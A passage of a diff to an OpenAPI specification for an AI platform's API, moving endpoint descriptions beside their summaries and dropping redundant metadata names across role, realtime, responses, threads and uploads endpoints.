summary: Unassign organization role from user
+ description: Unassigns an organization role from a user within the organization.
operationId: unassign-user-role
tags:
- User organization role assignments
@@ -15317,7 +15135,6 @@ paths:
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
- name: Unassign organization role from user
group: administration
examples:
request:
@@ -15330,12 +15147,12 @@ paths:
"object": "user.role.deleted",
"deleted": true
}
- description: Unassigns an organization role from a user within the organization.
/projects/{project_id}/groups/{group_id}/roles:
get:
security:
- AdminApiKeyAuth: []
summary: List project group role assignments
+ description: Lists the project roles assigned to a group within a project.
operationId: list-project-group-role-assignments
tags:
- Project group role assignments
@@ -15385,7 +15202,6 @@ paths:
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
- name: List project group role assignments
group: administration
examples:
request:
@@ -15421,11 +15237,11 @@ paths:
"has_more": false,
"next": null
}
- description: Lists the project roles assigned to a group within a project.
post:
security:
- AdminApiKeyAuth: []
summary: Assign project role to group
+ description: Assigns a project role to a group within a project.
operationId: assign-project-group-role
tags:
- Project group role assignments
@@ -15459,7 +15275,6 @@ paths:
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
- name: Assign project role to group
group: administration
examples:
request:
@@ -15493,12 +15308,12 @@ paths:
"predefined_role": false
}
}
- description: Assigns a project role to a group within a project.
/projects/{project_id}/groups/{group_id}/roles/{role_id}:
get:
security:
- AdminApiKeyAuth: []
summary: Retrieve project group role
+ description: Retrieves a project role assigned to a group.
operationId: retrieve-project-group-role
tags:
- Project group role assignments
@@ -15531,7 +15346,6 @@ paths:
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
- name: Retrieve project group role
group: administration
examples:
request:
@@ -15557,11 +15371,11 @@ paths:
"metadata": {},
"assignment_sources": null
}
- description: Retrieves a project role assigned to a group.
delete:
security:
- AdminApiKeyAuth: []
summary: Unassign project role from group
+ description: Unassigns a project role from a group within a project.
operationId: unassign-project-group-role
tags:
- Project group role assignments
@@ -15594,7 +15408,6 @@ paths:
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
- name: Unassign project role from group
group: administration
examples:
request:
@@ -15607,12 +15420,12 @@ paths:
"object": "group.role.deleted",
"deleted": true
}
- description: Unassigns a project role from a group within a project.
/projects/{project_id}/roles:
get:
security:
- AdminApiKeyAuth: []
summary: List project roles
+ description: Lists the roles configured for a project.
operationId: list-project-roles
tags:
- Roles
@@ -15658,7 +15471,6 @@ paths:
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
- name: List project roles
group: administration
examples:
request:
@@ -15686,11 +15498,11 @@ paths:
"has_more": false,
"next": null
}
- description: Lists the roles configured for a project.
post:
security:
- AdminApiKeyAuth: []
summary: Create project role
+ description: Creates a custom role for a project.
operationId: create-project-role
tags:
- Roles
@@ -15718,7 +15530,6 @@ paths:
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
- name: Create project role
group: administration
examples:
request:
@@ -15747,12 +15558,12 @@ paths:
"resource_type": "api.project",
"predefined_role": false
}
- description: Creates a custom role for a project.
/projects/{project_id}/roles/{role_id}:
get:
security:
- AdminApiKeyAuth: []
summary: Retrieve project role
+ description: Retrieves a project role.
operationId: retrieve-project-role
tags:
- Roles
@@ -15779,7 +15590,6 @@ paths:
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
- name: Retrieve project role
group: administration
examples:
request:
@@ -15800,11 +15610,11 @@ paths:
"resource_type": "api.project",
"predefined_role": false
}
- description: Retrieves a project role.
post:
security:
- AdminApiKeyAuth: []
summary: Update project role
+ description: Updates an existing project role.
operationId: update-project-role
tags:
- Roles
@@ -15838,7 +15648,6 @@ paths:
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
- name: Update project role
group: administration
examples:
request:
@@ -15867,11 +15676,11 @@ paths:
"resource_type": "api.project",
"predefined_role": false
}
- description: Updates an existing project role.
delete:
security:
- AdminApiKeyAuth: []
summary: Delete project role
+ description: Deletes a custom role from a project.
operationId: delete-project-role
tags:
- Roles
@@ -15898,7 +15707,6 @@ paths:
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
- name: Delete project role
group: administration
examples:
request:
@@ -15912,12 +15720,12 @@ paths:
"id": "role_01J1F8PROJ",
"deleted": true
}
- description: Deletes a custom role from a project.
/projects/{project_id}/users/{user_id}/roles:
get:
security:
- AdminApiKeyAuth: []
summary: List project user role assignments
+ description: Lists the project roles assigned to a user within a project.
operationId: list-project-user-role-assignments
tags:
- Project user role assignments
@@ -15967,7 +15775,6 @@ paths:
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
- name: List project user role assignments
group: administration
examples:
request:
@@ -16003,11 +15810,11 @@ paths:
"has_more": false,
"next": null
}
- description: Lists the project roles assigned to a user within a project.
post:
security:
- AdminApiKeyAuth: []
summary: Assign project role to user
+ description: Assigns a project role to a user within a project.
operationId: assign-project-user-role
tags:
- Project user role assignments
@@ -16041,7 +15848,6 @@ paths:
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
- name: Assign project role to user
group: administration
examples:
request:
@@ -16076,12 +15882,12 @@ paths:
"predefined_role": false
}
}
- description: Assigns a project role to a user within a project.
/projects/{project_id}/users/{user_id}/roles/{role_id}:
get:
security:
- AdminApiKeyAuth: []
summary: Retrieve project user role
+ description: Retrieves a project role assigned to a user.
operationId: retrieve-project-user-role
tags:
- Project user role assignments
@@ -16114,7 +15920,6 @@ paths:
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
- name: Retrieve project user role
group: administration
examples:
request:
@@ -16140,11 +15945,11 @@ paths:
"metadata": {},
"assignment_sources": null
}
- description: Retrieves a project role assigned to a user.
delete:
security:
- AdminApiKeyAuth: []
summary: Unassign project role from user
+ description: Unassigns a project role from a user within a project.
operationId: unassign-project-user-role
tags:
- Project user role assignments
@@ -16177,7 +15982,6 @@ paths:
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
- name: Unassign project role from user
group: administration
examples:
request:
@@ -16190,10 +15994,12 @@ paths:
"object": "user.role.deleted",
"deleted": true
}
- description: Unassigns a project role from a user within a project.
/realtime/calls:
post:
summary: Create call
+ description: |-
+ Create a new Realtime API call over WebRTC and receive the SDP answer needed
+ to complete the peer connection.
operationId: create-realtime-call
tags:
- Realtime
@@ -16229,7 +16035,6 @@ paths:
type: string
description: SDP answer produced by OpenAI for the peer connection.
x-oaiMeta:
- name: Create call
group: realtime
returns: |-
Returns `201 Created` with the SDP answer in the response body. The
@@ -16263,12 +16068,12 @@ paths:
m=application 9 UDP/DTLS/SCTP webrtc-datachannel
a=mid:1
a=sctp-port:5000
- description: |-
- Create a new Realtime API call over WebRTC and receive the SDP answer needed
- to complete the peer connection.
/realtime/calls/{call_id}/accept:
post:
summary: Accept call
+ description: |-
+ Accept an incoming SIP call and configure the realtime session that will
+ handle it.
operationId: accept-realtime-call
tags:
- Realtime
@@ -16293,7 +16098,6 @@ paths:
'200':
description: Call accepted successfully.
x-oaiMeta:
- name: Accept call
group: realtime-calls
returns: |-
Returns `200 OK` once OpenAI starts ringing the SIP leg with the supplied
@@ -16309,12 +16113,12 @@ paths:
"model": "gpt-realtime",
"instructions": "You are Alex, a friendly concierge for Example Corp.",
}'
- description: |-
- Accept an incoming SIP call and configure the realtime session that will
- handle it.
/realtime/calls/{call_id}/hangup:
post:
summary: Hang up call
+ description: |-
+ End an active Realtime API call, whether it was initiated over SIP or
+ WebRTC.
operationId: hangup-realtime-call
tags:
- Realtime
@@ -16334,7 +16138,6 @@ paths:
'200':
description: Call hangup initiated successfully.
x-oaiMeta:
- name: Hang up call
group: realtime-calls
returns: Returns `200 OK` when OpenAI begins terminating the realtime call.
examples:
@@ -16342,12 +16145,10 @@ paths:
curl: |-
curl -X POST https://api.openai.com/v1/realtime/calls/$CALL_ID/hangup \
-H "Authorization: Bearer $OPENAI_API_KEY"
- description: |-
- End an active Realtime API call, whether it was initiated over SIP or
- WebRTC.
/realtime/calls/{call_id}/refer:
post:
summary: Refer call
+ description: Transfer an active SIP call to a new destination using the SIP REFER verb.
operationId: refer-realtime-call
tags:
- Realtime
@@ -16372,7 +16173,6 @@ paths:
'200':
description: Call referred successfully.
x-oaiMeta:
- name: Refer call
group: realtime-calls
returns: Returns `200 OK` once the REFER is handed off to your SIP provider.
examples:
@@ -16382,10 +16182,10 @@ paths:
-H "Authorization: Bearer $OPENAI_API_KEY" \
-H "Content-Type: application/json" \
-d '{"target_uri": "tel:+14155550123"}'
- description: Transfer an active SIP call to a new destination using the SIP REFER verb.
/realtime/calls/{call_id}/reject:
post:
summary: Reject call
+ description: Decline an incoming SIP call by returning a SIP status code to the caller.
operationId: reject-realtime-call
tags:
- Realtime
@@ -16412,7 +16212,6 @@ paths:
'200':
description: Call rejected successfully.
x-oaiMeta:
- name: Reject call
group: realtime-calls
returns: Returns `200 OK` after OpenAI sends the SIP status code to the caller.
examples:
@@ -16422,10 +16221,23 @@ paths:
-H "Authorization: Bearer $OPENAI_API_KEY" \
-H "Content-Type: application/json" \
-d '{"status_code": 486}'
- description: Decline an incoming SIP call by returning a SIP status code to the caller.
/realtime/client_secrets:
post:
summary: Create client secret
+ description: |
+ Create a Realtime client secret with an associated session configuration.
+
+ Client secrets are short-lived tokens that can be passed to a client app,
+ such as a web frontend or mobile client, which grants access to the Realtime API without
+ leaking your main API key. You can configure a custom TTL for each client secret.
+
+ You can also attach session configuration options to the client secret, which will be
+ applied to any sessions created using that client secret, but these can also be overridden
+ by the client connection.
+
+ [Learn more about authentication with client secrets over WebRTC](https://developers.openai.com/api/docs/guides/realtime-webrtc).
+
+ Returns the created client secret and the effective session object. The client secret is a string that looks like `ek_1234`.
operationId: create-realtime-client-secret
tags:
- Realtime
@@ -16444,7 +16256,6 @@ paths:
schema:
$ref: '#/components/schemas/RealtimeCreateClientSecretResponse'
x-oaiMeta:
- name: Create client secret
group: realtime
examples:
request:
@@ -16507,23 +16318,19 @@ paths:
"include": null
}
}
- description: |
- Create a Realtime client secret with an associated session configuration.
-
- Client secrets are short-lived tokens that can be passed to a client app,
- such as a web frontend or mobile client, which grants access to the Realtime API without
- leaking your main API key. You can configure a custom TTL for each client secret.
-
- You can also attach session configuration options to the client secret, which will be
- applied to any sessions created using that client secret, but these can also be overridden
- by the client connection.
-
- [Learn more about authentication with client secrets over WebRTC](https://developers.openai.com/api/docs/guides/realtime-webrtc).
-
- Returns the created client secret and the effective session object. The client secret is a string that looks like `ek_1234`.
/realtime/sessions:
post:
summary: Create session
+ description: |
+ Create an ephemeral API token for use in client-side applications with the
+ Realtime API. Can be configured with the same session parameters as the
+ `session.update` client event.
+
+ It responds with a session object, plus a `client_secret` key which contains
+ a usable ephemeral API token that can be used to authenticate browser clients
+ for the Realtime API.
+
+ Returns the created Realtime session object, plus an ephemeral key.
operationId: create-realtime-session
tags:
- Realtime
@@ -16542,7 +16349,6 @@ paths:
schema:
$ref: '#/components/schemas/RealtimeSessionCreateResponse'
x-oaiMeta:
- name: Create session
group: realtime
examples:
request:
@@ -16556,19 +16362,10 @@ paths:
"instructions": "You are a friendly assistant."
}'
response: "{\n \"id\": \"sess_001\",\n \"object\": \"realtime.session\",\n \"model\": \"gpt-realtime-2025-08-25\",\n \"modalities\": [\"audio\", \"text\"],\n \"instructions\": \"You are a friendly assistant.\",\n \"voice\": \"alloy\",\n \"input_audio_format\": \"pcm16\",\n \"output_audio_format\": \"pcm16\",\n \"input_audio_transcription\": {\n \"model\": \"whisper-1\"\n },\n \"turn_detection\": null,\n \"tools\": [],\n \"tool_choice\": \"none\",\n \"temperature\": 0.7,\n \"max_response_output_tokens\": 200,\n \"speed\": 1.1,\n \"tracing\": \"auto\",\n \"client_secret\": {\n \"value\": \"ek_abc123\", \n \"expires_at\": 1234567890\n }\n}\n"
- description: |
- Create an ephemeral API token for use in client-side applications with the
- Realtime API. Can be configured with the same session parameters as the
- `session.update` client event.
-
- It responds with a session object, plus a `client_secret` key which contains
- a usable ephemeral API token that can be used to authenticate browser clients
- for the Realtime API.
-
- Returns the created Realtime session object, plus an ephemeral key.
/realtime/transcription_sessions:
post:
summary: Create transcription session
+ description: "Create an ephemeral API token for use in client-side applications with the\nRealtime API specifically for realtime transcriptions. \nCan be configured with the same session parameters as the `transcription_session.update` client event.\n\nIt responds with a session object, plus a `client_secret` key which contains\na usable ephemeral API token that can be used to authenticate browser clients\nfor the Realtime API.\n\nReturns the created Realtime transcription session object, plus an ephemeral key.\n"
operationId: create-realtime-transcription-session
tags:
- Realtime
@@ -16587,7 +16384,6 @@ paths:
schema:
$ref: '#/components/schemas/RealtimeTranscriptionSessionCreateResponse'
x-oaiMeta:
- name: Create transcription session
group: realtime
examples:
request:
@@ -16615,10 +16411,19 @@ paths:
},
"client_secret": null
}
- description: "Create an ephemeral API token for use in client-side applications with the\nRealtime API specifically for realtime transcriptions. \nCan be configured with the same session parameters as the `transcription_session.update` client event.\n\nIt responds with a session object, plus a `client_secret` key which contains\na usable ephemeral API token that can be used to authenticate browser clients\nfor the Realtime API.\n\nReturns the created Realtime transcription session object, plus an ephemeral key.\n"
/realtime/translations/client_secrets:
post:
summary: Create translation client secret
+ description: |
+ Create a Realtime translation client secret with an associated translation session configuration.
+
+ Client secrets are short-lived tokens that can be passed to a client app,
+ such as a web frontend or mobile client, which grants access to the Realtime
+ Translation API without leaking your main API key. You can configure a custom
+ TTL for each client secret.
+
+ Returns the created client secret and the effective translation session object.
+ The client secret is a string that looks like `ek_1234`.
operationId: create-realtime-translation-client-secret
tags:
- Realtime
@@ -16637,7 +16442,6 @@ paths:
schema:
$ref: '#/components/schemas/RealtimeTranslationClientSecretCreateResponse'
x-oaiMeta:
- name: Create translation client secret
group: realtime
examples:
request:
@@ -16687,22 +16491,20 @@ paths:
}
}
}
- description: |
- Create a Realtime translation client secret with an associated translation session configuration.
-
- Client secrets are short-lived tokens that can be passed to a client app,
- such as a web frontend or mobile client, which grants access to the Realtime
- Translation API without leaking your main API key. You can configure a custom
- TTL for each client secret.
-
- Returns the created client secret and the effective translation session object.
- The client secret is a string that looks like `ek_1234`.
/responses:
post:
operationId: createResponse
tags:
- Responses
summary: Create a model response
+ description: |
+ Creates a model response. Provide [text](https://developers.openai.com/api/docs/guides/text) or
+ [image](https://developers.openai.com/api/docs/guides/images-vision) inputs to generate [text](https://developers.openai.com/api/docs/guides/text)
+ or [JSON](https://developers.openai.com/api/docs/guides/structured-outputs) outputs. Have the model call
+ your own [custom code](https://developers.openai.com/api/docs/guides/function-calling) or use built-in
+ [tools](https://developers.openai.com/api/docs/guides/tools) like [web search](https://developers.openai.com/api/docs/guides/tools-web-search)
+ or [file search](https://developers.openai.com/api/docs/guides/tools-file-search) to use your own data
+ as input for the model's response.
requestBody:
required: true
content:
@@ -16724,7 +16526,6 @@ paths:
'503':
$ref: '#/components/responses/InferenceServiceUnavailable'
x-oaiMeta:
- name: Create a model response
group: responses
path: create
examples:
@@ -17903,20 +17704,14 @@ paths:
"user": null,
"metadata": {}
}
- description: |
- Creates a model response. Provide [text](https://developers.openai.com/api/docs/guides/text) or
- [image](https://developers.openai.com/api/docs/guides/images-vision) inputs to generate [text](https://developers.openai.com/api/docs/guides/text)
- or [JSON](https://developers.openai.com/api/docs/guides/structured-outputs) outputs. Have the model call
- your own [custom code](https://developers.openai.com/api/docs/guides/function-calling) or use built-in
- [tools](https://developers.openai.com/api/docs/guides/tools) like [web search](https://developers.openai.com/api/docs/guides/tools-web-search)
- or [file search](https://developers.openai.com/api/docs/guides/tools-file-search) to use your own data
- as input for the model's response.
/responses/{response_id}:
get:
operationId: getResponse
tags:
- Responses
summary: Get a model response
+ description: |
+ Retrieves a model response with the given ID.
parameters:
- in: path
name: response_id
@@ -17971,7 +17766,6 @@ paths:
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
- name: Get a model response
group: responses
examples:
request:
@@ -18050,13 +17844,13 @@ paths:
"user": null,
"metadata": {}
}
- description: |
- Retrieves a model response with the given ID.
delete:
operationId: deleteResponse
tags:
- Responses
summary: Delete a model response
+ description: |
+ Deletes a model response with the given ID.
parameters:
- in: path
name: response_id
@@ -18077,7 +17871,6 @@ paths:
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
- name: Delete a model response
group: responses
examples:
request:
@@ -18103,14 +17896,16 @@ paths:
"object": "response",
"deleted": true
}
- description: |
- Deletes a model response with the given ID.
/responses/{response_id}/cancel:
post:
operationId: cancelResponse
tags:
- Responses
summary: Cancel a response
+ description: |
+ Cancels a model response with the given ID. Only responses created with
+ the `background` parameter set to `true` can be cancelled.
+ [Learn more](https://developers.openai.com/api/docs/guides/background).
parameters:
- in: path
name: response_id
@@ -18135,7 +17930,6 @@ paths:
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
- name: Cancel a response
group: responses
examples:
request:
@@ -18204,16 +17998,13 @@ paths:
"user": null,
"metadata": {}
}
- description: |
- Cancels a model response with the given ID. Only responses created with
- the `background` parameter set to `true` can be cancelled.
- [Learn more](https://developers.openai.com/api/docs/guides/background).
/responses/{response_id}/input_items:
get:
operationId: listInputItems
tags:
- Responses
summary: List input items
+ description: Returns a list of input items for a given response.
parameters:
- in: path
name: response_id
@@ -18266,7 +18057,6 @@ paths:
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
- name: List input items
group: responses
examples:
request:
@@ -18306,13 +18096,13 @@ paths:
"last_id": "msg_abc123",
"has_more": false
}
- description: Returns a list of input items for a given response.
/threads:
post:
operationId: createThread
tags:
- Assistants
summary: Create thread
+ description: Create a thread.
requestBody:
content:
application/json:
@@ -18328,7 +18118,6 @@ paths:
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
- name: Create thread
group: threads
beta: true
examples:
@@ -18431,13 +18220,13 @@ paths:
"metadata": {},
"tool_resources": {}
}
- description: Create a thread.
/threads/runs:
post:
operationId: createThreadAndRun
tags:
- Assistants
summary: Create thread and run
+ description: Create a thread and run it in one request.
requestBody:
required: true
content:
@@ -18454,7 +18243,6 @@ paths:
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
- name: Create thread and run
group: threads
beta: true
examples:
@@ -18803,13 +18591,13 @@ paths:
event: done
data: [DONE]
- description: Create a thread and run it in one request.
/threads/{thread_id}:
get:
operationId: getThread
tags:
- Assistants
summary: Retrieve thread
+ description: Retrieves a thread.
parameters:
- in: path
name: thread_id
@@ -18827,7 +18615,6 @@ paths:
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
- name: Retrieve thread
group: threads
beta: true
examples:
@@ -18869,12 +18656,12 @@ paths:
}
}
}
- description: Retrieves a thread.
post:
operationId: modifyThread
tags:
- Assistants
summary: Modify thread
+ description: Modifies a thread.
parameters:
- in: path
name: thread_id
@@ -18898,7 +18685,6 @@ paths:
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
- name: Modify thread
group: threads
beta: true
examples:
@@ -18954,12 +18740,12 @@ paths:
},
"tool_resources": {}
}
- description: Modifies a thread.
delete:
operationId: deleteThread
tags:
- Assistants
summary: Delete thread
+ description: Delete a thread.
parameters:
- in: path
name: thread_id
@@ -18977,7 +18763,6 @@ paths:
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
- name: Delete thread
group: threads
beta: true
examples:
@@ -19011,13 +18796,13 @@ paths:
"object": "thread.deleted",
"deleted": true
}
- description: Delete a thread.
/threads/{thread_id}/messages:
get:
operationId: listMessages
tags:
- Assistants
summary: List messages
+ description: Returns a list of messages for a given thread.
parameters:
- in: path
name: thread_id
@@ -19071,7 +18856,6 @@ paths:
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
- name: List messages
group: threads
beta: true
examples:
@@ -19150,12 +18934,12 @@ paths:
"last_id": "msg_abc456",
"has_more": false
}
- description: Returns a list of messages for a given thread.
post:
operationId: createMessage
tags:
- Assistants
summary: Create message
+ description: Create a message.
parameters:
- in: path
name: thread_id
@@ -19179,7 +18963,6 @@ paths:
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
- name: Create message
group: threads
beta: true
examples:
@@ -19239,13 +19022,13 @@ paths:
"attachments": [],
"metadata": {}
}
- description: Create a message.
/threads/{thread_id}/messages/{message_id}:
get:
operationId: getMessage
tags:
- Assistants
summary: Retrieve message
+ description: Retrieve a message.
parameters:
- in: path
name: thread_id
@@ -19269,7 +19052,6 @@ paths:
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
- name: Retrieve message
group: threads
beta: true
examples:
@@ -19324,12 +19106,12 @@ paths:
"attachments": [],
"metadata": {}
}
- description: Retrieve a message.
post:
operationId: modifyMessage
tags:
- Assistants
summary: Modify message
+ description: Modifies a message.
parameters:
- in: path
name: thread_id
@@ -19359,7 +19141,6 @@ paths:
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
- name: Modify message
group: threads
beta: true
examples:
@@ -19428,12 +19209,12 @@ paths:
"user": "abc123"
}
}
- description: Modifies a message.
delete:
operationId: deleteMessage
tags:
- Assistants
summary: Delete message
+ description: Deletes a message.
parameters:
- in: path
name: thread_id
@@ -19457,7 +19238,6 @@ paths:
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
- name: Delete message
group: threads
beta: true
examples:
@@ -19495,13 +19275,13 @@ paths:
"object": "thread.message.deleted",
"deleted": true
}
- description: Deletes a message.
/threads/{thread_id}/runs:
get:
operationId: listRuns
tags:
- Assistants
summary: List runs
+ description: Returns a list of runs belonging to a thread.
parameters:
- name: thread_id
in: path
@@ -19549,7 +19329,6 @@ paths:
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
- name: List runs
group: threads
beta: true
examples:
@@ -19685,12 +19464,12 @@ paths:
"last_id": "run_abc456",
"has_more": false
}
- description: Returns a list of runs belonging to a thread.
post:
operationId: createRun
tags:
- Assistants
summary: Create run
+ description: Create a run.
parameters:
- in: path
name: thread_id
@@ -19726,7 +19505,6 @@ paths:
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
- name: Create run
group: threads
beta: true
examples:
@@ -20039,13 +19817,13 @@ paths:
event: done
data: [DONE]
- description: Create a run.
/threads/{thread_id}/runs/{run_id}:
get:
operationId: getRun
tags:
- Assistants
summary: Retrieve run
+ description: Retrieves a run.
parameters:
- in: path
name: thread_id
@@ -20069,7 +19847,6 @@ paths:
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
- name: Retrieve run
group: threads
beta: true
examples:
@@ -20143,12 +19920,12 @@ paths:
"tool_choice": "auto",
"parallel_tool_calls": true
}
- description: Retrieves a run.
post:
operationId: modifyRun
tags:
- Assistants
summary: Modify run
+ description: Modifies a run.
parameters:
- in: path
name: thread_id
@@ -20178,7 +19955,6 @@ paths:
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
- name: Modify run
group: threads
beta: true
examples:
@@ -20274,13 +20050,13 @@ paths:
"tool_choice": "auto",
"parallel_tool_calls": true
}
- description: Modifies a run.
/threads/{thread_id}/runs/{run_id}/cancel:
post:
operationId: cancelRun
tags:
- Assistants
summary: Cancel a run
+ description: Cancels a run that is `in_progress`.
parameters:
- in: path
name: thread_id
@@ -20304,7 +20080,6 @@ paths:
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
- name: Cancel a run
group: threads
beta: true
examples:
@@ -20373,13 +20148,13 @@ paths:
"tool_choice": "auto",
"parallel_tool_calls": true
}
- description: Cancels a run that is `in_progress`.
/threads/{thread_id}/runs/{run_id}/steps:
get:
operationId: listRunSteps
tags:
- Assistants
summary: List run steps
+ description: Returns a list of run steps belonging to a run.
parameters:
- name: thread_id
in: path
@@ -20445,7 +20220,6 @@ paths:
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
- name: List run steps
group: threads
beta: true
examples:
@@ -20513,13 +20287,13 @@ paths:
"last_id": "step_abc456",
"has_more": false
}
- description: Returns a list of run steps belonging to a run.
/threads/{thread_id}/runs/{run_id}/steps/{step_id}:
get:
operationId: getRunStep
tags:
- Assistants
summary: Retrieve run step
+ description: Retrieves a run step.
parameters:
- in: path
name: thread_id
@@ -20561,7 +20335,6 @@ paths:
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
- name: Retrieve run step
group: threads
beta: true
examples:
@@ -20622,13 +20395,14 @@ paths:
"total_tokens": 579
}
}
- description: Retrieves a run step.
/threads/{thread_id}/runs/{run_id}/submit_tool_outputs:
post:
operationId: submitToolOuputsToRun
tags:
- Assistants
summary: Submit tool outputs to run
+ description: |
+ When a run has the `status: "requires_action"` and `required_action.type` is `submit_tool_outputs`, this endpoint can be used to submit the outputs from the tool calls once they're all completed. All outputs must be submitted in a single request.
parameters:
- in: path
name: thread_id
@@ -20658,7 +20432,6 @@ paths:
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
- name: Submit tool outputs to run
group: threads
beta: true
examples:
@@ -20878,14 +20651,32 @@ paths:
event: done
data: [DONE]
- description: |
- When a run has the `status: "requires_action"` and `required_action.type` is `submit_tool_outputs`, this endpoint can be used to submit the outputs from the tool calls once they're all completed. All outputs must be submitted in a single request.
/uploads:
post:
operationId: createUpload
tags:
- Uploads
summary: Create upload
+ description: |
+ Creates an intermediate [Upload](https://developers.openai.com/api/reference/resources/uploads) object
+ that you can add [Parts](https://developers.openai.com/api/reference/resources/uploads/subresources/parts) to.
+ Currently, an Upload can accept at most 8 GB in total and expires after an
+ hour after you create it.
+
+ Once you complete the Upload, we will create a
+ [File](https://developers.openai.com/api/reference/resources/files) object that contains all the parts
+ you uploaded. This File is usable in the rest of our platform as a regular
+ File object.
+
+ For certain `purpose` values, the correct `mime_type` must be specified.
+ Please refer to documentation for the
+ [supported MIME types for your use case](https://developers.openai.com/api/docs/guides/tools-file-search#supported-files).
+
+ For guidance on the proper filename extensions for each purpose, please
+ follow the documentation on [creating a
+ File](https://developers.openai.com/api/reference/resources/files/methods/create).
+
+ Returns the Upload object with status `pending`.
requestBody:
required: true
content:
@@ -20900,7 +20691,6 @@ paths:
schema:
$ref: '#/components/schemas/Upload'
x-oaiMeta:
- name: Create upload
group: uploads
examples:
request:
@@ -20928,32 +20718,16 @@ paths:
"status": "pending",
"expires_at": 1719127296
}
- description: |
- Creates an intermediate [Upload](https://developers.openai.com/api/reference/resources/uploads) object
- that you can add [Parts](https://developers.openai.com/api/reference/resources/uploads/subresources/parts) to.
- Currently, an Upload can accept at most 8 GB in total and expires after an
- hour after you create it.
-
- Once you complete the Upload, we will create a
- [File](https://developers.openai.com/api/reference/resources/files) object that contains all the parts
- you uploaded. This File is usable in the rest of our platform as a regular
- File object.
-
- For certain `purpose` values, the correct `mime_type` must be specified.
- Please refer to documentation for the
- [supported MIME types for your use case](https://developers.openai.com/api/docs/guides/tools-file-search#supported-files).
-
- For guidance on the proper filename extensions for each purpose, please
- follow the documentation on [creating a
- File](https://developers.openai.com/api/reference/resources/files/methods/create).
-
- Returns the Upload object with status `pending`.
/uploads/{upload_id}/cancel:
post:
operationId: cancelUpload
tags:
- Uploads
summary: Cancel upload
+ description: |
+ Cancels the Upload. No Parts may be added after an Upload is cancelled.
+
+ Returns the Upload object with status `cancelled`.
parameters:
- in: path
name: upload_id
@@ -20971,7 +20745,6 @@ paths:
schema:
$ref: '#/components/schemas/Upload'
x-oaiMeta:
- name: Cancel upload
group: uploads
examples:
request:
@@ -20988,16 +20761,21 @@ paths:
"status": "cancelled",
"expires_at": 1719127296
}
- description: |
- Cancels the Upload. No Parts may be added after an Upload is cancelled.
-
- Returns the Upload object with status `cancelled`.
/uploads/{upload_id}/complete:
post:
operationId: completeUpload
tags:
- Uploads
summary: Complete upload
+ description: |
+ Completes the [Upload](https://developers.openai.com/api/reference/resources/uploads).
+
+ Within the returned Upload object, there is a nested [File](https://developers.openai.com/api/reference/resources/files) object that is ready to use in the rest of the platform.
+
+ You can specify the order of the Parts by passing in an ordered list of the Part IDs.
+
+ The number of bytes uploaded upon completion must match the number of bytes initially specified when creating the Upload object. No Parts may be added after an Upload is completed.
+ Returns the Upload object with status `completed`, including an additional `file` property containing the created usable File object.
parameters:
- in: path
name: upload_id
@@ -21021,7 +20799,6 @@ paths:
schema:
$ref: '#/components/schemas/Upload'
x-oaiMeta:
- name: Complete upload
group: uploads
examples:
request:
@@ -21050,21 +20827,18 @@ paths:
"purpose": "fine-tune",
}
}
- description: |
- Completes the [Upload](https://developers.openai.com/api/reference/resources/uploads).
-
- Within the returned Upload object, there is a nested [File](https://developers.openai.com/api/reference/resources/files) object that is ready to use in the rest of the platform.
-
- You can specify the order of the Parts by passing in an ordered list of the Part IDs.
-
- The number of bytes uploaded upon completion must match the number of bytes initially specified when creating the Upload object. No Parts may be added after an Upload is completed.
- Returns the Upload object with status `completed`, including an additional `file` property containing the created usable File object.
/uploads/{upload_id}/parts:
post:
operationId: addUploadPart
tags:
- Uploads
summary: Add upload part
+ description: |
+ Adds a [Part](https://developers.openai.com/api/reference/resources/uploads/subresources/parts) to an [Upload](https://developers.openai.com/api/reference/resources/uploads) object. A Part represents a chunk of bytes from the file you are trying to upload.
+
+ Each Part can be at most 64 MB, and you can add Parts until you hit the Upload maximum of 8 GB.
+
+ It is possible to add multiple Parts in parallel. You can decide the intended order of the Parts when you [complete the Upload](https://developers.openai.com/api/reference/resources/uploads/methods/complete).
parameters:
- in: path
name: upload_id
@@ -21088,7 +20862,6 @@ paths:
schema:
$ref: '#/components/schemas/UploadPart'
x-oaiMeta:
- name: Add upload part
group: uploads
examples:
request:
@@ -21102,18 +20875,13 @@ paths:
"created_at": 1719185911,
